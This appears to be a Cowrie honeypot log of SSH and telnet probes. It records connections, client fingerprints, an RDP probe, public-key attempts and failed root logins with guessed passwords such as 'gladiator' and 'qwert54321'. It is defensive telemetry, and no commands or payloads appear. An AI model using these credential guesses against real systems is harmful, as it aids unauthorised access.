{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:08.332862Z","src_ip":"89.223.69.22","session":"cd3f3f79b5d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":47952,"dst_ip":"10.17.0.5","dst_port":22,"session":"a57adfffb5c4","protocol":"ssh","message":"New connection: 103.27.238.116:47952 (10.17.0.5:22) [session: a57adfffb5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:08.549777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:08.553621Z","src_ip":"103.27.238.116","session":"a57adfffb5c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mnbvcxz","message":"login attempt [root/mnbvcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:08.690173Z","src_ip":"89.223.69.22","session":"cd3f3f79b5d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:08.817759Z","src_ip":"103.27.238.116","session":"a57adfffb5c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gladiator","message":"login attempt [root/gladiator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:09.612422Z","src_ip":"103.27.238.116","session":"a57adfffb5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:09.809599Z","src_ip":"89.223.69.22","session":"cd3f3f79b5d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.7602972984314,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:10.532569Z","src_ip":"152.42.224.71","session":"718ee1490dc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:10.878304Z","src_ip":"103.27.238.116","session":"a57adfffb5c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":39614,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d197244c0fd","protocol":"ssh","message":"New connection: 103.27.238.120:39614 (10.17.0.5:22) [session: 0d197244c0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:16.301411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:16.307817Z","src_ip":"103.27.238.120","session":"0d197244c0fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:16.561653Z","src_ip":"103.27.238.120","session":"0d197244c0fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert54321","message":"login attempt [root/qwert54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:17.586981Z","src_ip":"103.27.238.120","session":"0d197244c0fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:18.848713Z","src_ip":"103.27.238.120","session":"0d197244c0fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":57530,"dst_ip":"159.203.135.109","dst_port":22,"session":"60dc603eb7af","protocol":"ssh","message":"New connection: 193.37.70.224:57530 (159.203.135.109:22) [session: 60dc603eb7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:19.098795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:19.107222Z","src_ip":"193.37.70.224","session":"60dc603eb7af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:19.196604Z","src_ip":"193.37.70.224","session":"60dc603eb7af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.76419019699097,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:19.366409Z","src_ip":"152.42.224.71","session":"96a3d1a46864","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"renata","message":"login attempt [root/renata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:19.463448Z","src_ip":"193.37.70.224","session":"60dc603eb7af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:20.555419Z","src_ip":"193.37.70.224","session":"60dc603eb7af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60100,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d4bf0de346","protocol":"ssh","message":"New connection: 152.42.212.128:60100 (159.203.135.109:22) [session: 72d4bf0de346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:26.075031Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:26.079818Z","src_ip":"152.42.212.128","session":"72d4bf0de346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:26.083370Z","src_ip":"152.42.212.128","session":"72d4bf0de346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.216331005096436,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:29.013072Z","src_ip":"152.42.224.71","session":"fbe334e169db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.176.142","src_port":50778,"dst_ip":"10.17.0.5","dst_port":22,"session":"d578025a48d6","protocol":"ssh","message":"New connection: 31.42.176.142:50778 (10.17.0.5:22) [session: d578025a48d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:33.319192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:33.323133Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:33.409690Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:9e:a3:3e:49:b6:22:95:79:0f:7d:aa:16:ad:a9:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXKpV9fpTQM8gKa3hMLjh60JZgWKoR9YHQY0pqn3k3BzN7rsSd1VPJRPze50OGxBmjlS43KJAh7VF5yglStIOrOtlBt+TpQ3tE9ue3cIs9vFF1a0LpOfR292PgaeVcxw0jx2mNwa/yOhHXASdHviFl9rASStCOp3c52Orj/A3iKY4UJaVYFsQIhYq5s9w5dkrpmqVSISycrY75mrOGvJo+ui07+uGPNDgHOMIaMzrBrI8+AkJXuKMJhogC+Qkg/a2/A3PvJD6jMI1hPktKd12Pb+E24Cu3Z4RSoMShEkrGDPivNQFlAbt/6nF/cB6QKRpVv2Td5vFTcaKVnTKdGueF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:9e:a3:3e:49:b6:22:95:79:0f:7d:aa:16:ad:a9:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:33.801422Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:9e:a3:3e:49:b6:22:95:79:0f:7d:aa:16:ad:a9:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXKpV9fpTQM8gKa3hMLjh60JZgWKoR9YHQY0pqn3k3BzN7rsSd1VPJRPze50OGxBmjlS43KJAh7VF5yglStIOrOtlBt+TpQ3tE9ue3cIs9vFF1a0LpOfR292PgaeVcxw0jx2mNwa/yOhHXASdHviFl9rASStCOp3c52Orj/A3iKY4UJaVYFsQIhYq5s9w5dkrpmqVSISycrY75mrOGvJo+ui07+uGPNDgHOMIaMzrBrI8+AkJXuKMJhogC+Qkg/a2/A3PvJD6jMI1hPktKd12Pb+E24Cu3Z4RSoMShEkrGDPivNQFlAbt/6nF/cB6QKRpVv2Td5vFTcaKVnTKdGueF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:33.804902Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:58:b6:af:50:11:03:d2:77:55:28:35:b3:f0:d1:2d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBENg5YewyBduQBEytHULCO71myBLoNLTHdB+69K8rC/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 6c:58:b6:af:50:11:03:d2:77:55:28:35:b3:f0:d1:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:33.887824Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:58:b6:af:50:11:03:d2:77:55:28:35:b3:f0:d1:2d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBENg5YewyBduQBEytHULCO71myBLoNLTHdB+69K8rC/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:33.891628Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:74:73:5c:bc:41:60:90:a1:2a:5f:1f:55:e3:81:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3XZxrtmx+pzWMvtexE/YNoTRX+u5dKR2Yol+fxY14r/wu+LGRtOetc5b0yt/jlhU5Z0CyPCk/g+JY6N15G0Yf0Psx09NbpBOkOdsdYm4waBgGWRKNfiOrLVjM/sgorQmtIjUnrcvAxQmX0H64ezYvmqoB37F5gXou8EJJGcEdFLjgYEZM9xJvKrQG61qcOo0Ib6h9yp1EJUpiUc0hyD/oE2lAYsRK25F9AcnN+upz91PYHlCqPEN61IdGQY64MS0kfG31B+e0u/A0gL3fdRHLr6oVc9iEOxWfdSLzjZkK8XoDPg7kQItsjn8z1CmgONGMh4NOQvaqm9xwhoRR5EeZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:74:73:5c:bc:41:60:90:a1:2a:5f:1f:55:e3:81:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:33.974309Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:74:73:5c:bc:41:60:90:a1:2a:5f:1f:55:e3:81:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3XZxrtmx+pzWMvtexE/YNoTRX+u5dKR2Yol+fxY14r/wu+LGRtOetc5b0yt/jlhU5Z0CyPCk/g+JY6N15G0Yf0Psx09NbpBOkOdsdYm4waBgGWRKNfiOrLVjM/sgorQmtIjUnrcvAxQmX0H64ezYvmqoB37F5gXou8EJJGcEdFLjgYEZM9xJvKrQG61qcOo0Ib6h9yp1EJUpiUc0hyD/oE2lAYsRK25F9AcnN+upz91PYHlCqPEN61IdGQY64MS0kfG31B+e0u/A0gL3fdRHLr6oVc9iEOxWfdSLzjZkK8XoDPg7kQItsjn8z1CmgONGMh4NOQvaqm9xwhoRR5EeZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:33.978267Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:3c:a4:ff:7f:fa:57:79:e3:9e:75:ee:07:cc:0f:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZQdCT7zpr56NeNnPrZFw0uKfPJxSz0Y+dxgA84v9L8vi5tpYguJ+xhwxxs81w2MRPALVH4Yy7Cn6n5wsX3S7io227X9HaEQgn6sYCiBXIR/lkGW90w3EKKoZFHS1RKQ6beWKv0fdXsLwinPc86uziBPBtO/cODX1Ja5feZhtLDxeRqoNQWOr9PbhDo92oJXGyUqmyP8JceckCpBwX8sUC1/20cKDCr1+ctkNdo6MsG9+Y8m5DHZMePVg4kJWWmXaVey+Gac+1Ld9N5blXFA+vqd++jWJi7xA03RXriMzGAnjo4hEt5JCGu6zKYRv3r9jC+TYwvyJ7Xhc+Iby12Sbx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:3c:a4:ff:7f:fa:57:79:e3:9e:75:ee:07:cc:0f:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:34.061613Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:3c:a4:ff:7f:fa:57:79:e3:9e:75:ee:07:cc:0f:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZQdCT7zpr56NeNnPrZFw0uKfPJxSz0Y+dxgA84v9L8vi5tpYguJ+xhwxxs81w2MRPALVH4Yy7Cn6n5wsX3S7io227X9HaEQgn6sYCiBXIR/lkGW90w3EKKoZFHS1RKQ6beWKv0fdXsLwinPc86uziBPBtO/cODX1Ja5feZhtLDxeRqoNQWOr9PbhDo92oJXGyUqmyP8JceckCpBwX8sUC1/20cKDCr1+ctkNdo6MsG9+Y8m5DHZMePVg4kJWWmXaVey+Gac+1Ld9N5blXFA+vqd++jWJi7xA03RXriMzGAnjo4hEt5JCGu6zKYRv3r9jC+TYwvyJ7Xhc+Iby12Sbx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:34.072666Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:c4:a1:ef:ac:4e:d7:b6:7b:83:de:b9:f2:ab:63:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPOqQIwsv3lBLOv2kmjS0RJyKcr6bt+NSI475zXMGCg31jNgby2TZ6aZpZjDxyniizrVtj1xqdKavaYcOrJsZFF0UxgLQFHy1fbKuM5ap7IVqSHNNtU+gv24Mvq2DBgPEZMew4FyXivquohej+qhSPrrMtu9qbOn3BIBzFyUH2nnrfBWz+NaWsEFPbjzsUHY/njX5DpooVDBcveiXb2kJvCpcz8FYX9WKRsDEiFx25fVbYgg9ZgTsDjJoUIdPVR/iHM1WMAVGfVetXX7hT1CNxR0i5+MUHhxEFzqC/AIWxTQHY1ogk92523atO9Fc/+/wLf7WD5tPfSKhxbCvSlDOceF/T18l7ilLCECeo14WRC3JmHqP8qSMHzZncGxN3uyFhx1UTc1JF9lZTeed3v6oF0aZtOKmCUa62+qfjfSANvwAi6UFcGLnBDQrCQJZzNIOG6MQ+AThOpho1LNR0nh/Fw96qSf/ls63E6iyzPG4+VNC43Ei2X/LWA+3GS0bws3U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:c4:a1:ef:ac:4e:d7:b6:7b:83:de:b9:f2:ab:63:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:34.155851Z","src_ip":"31.42.176.142","session":"d578025a48d6","protocol":"ssh"}
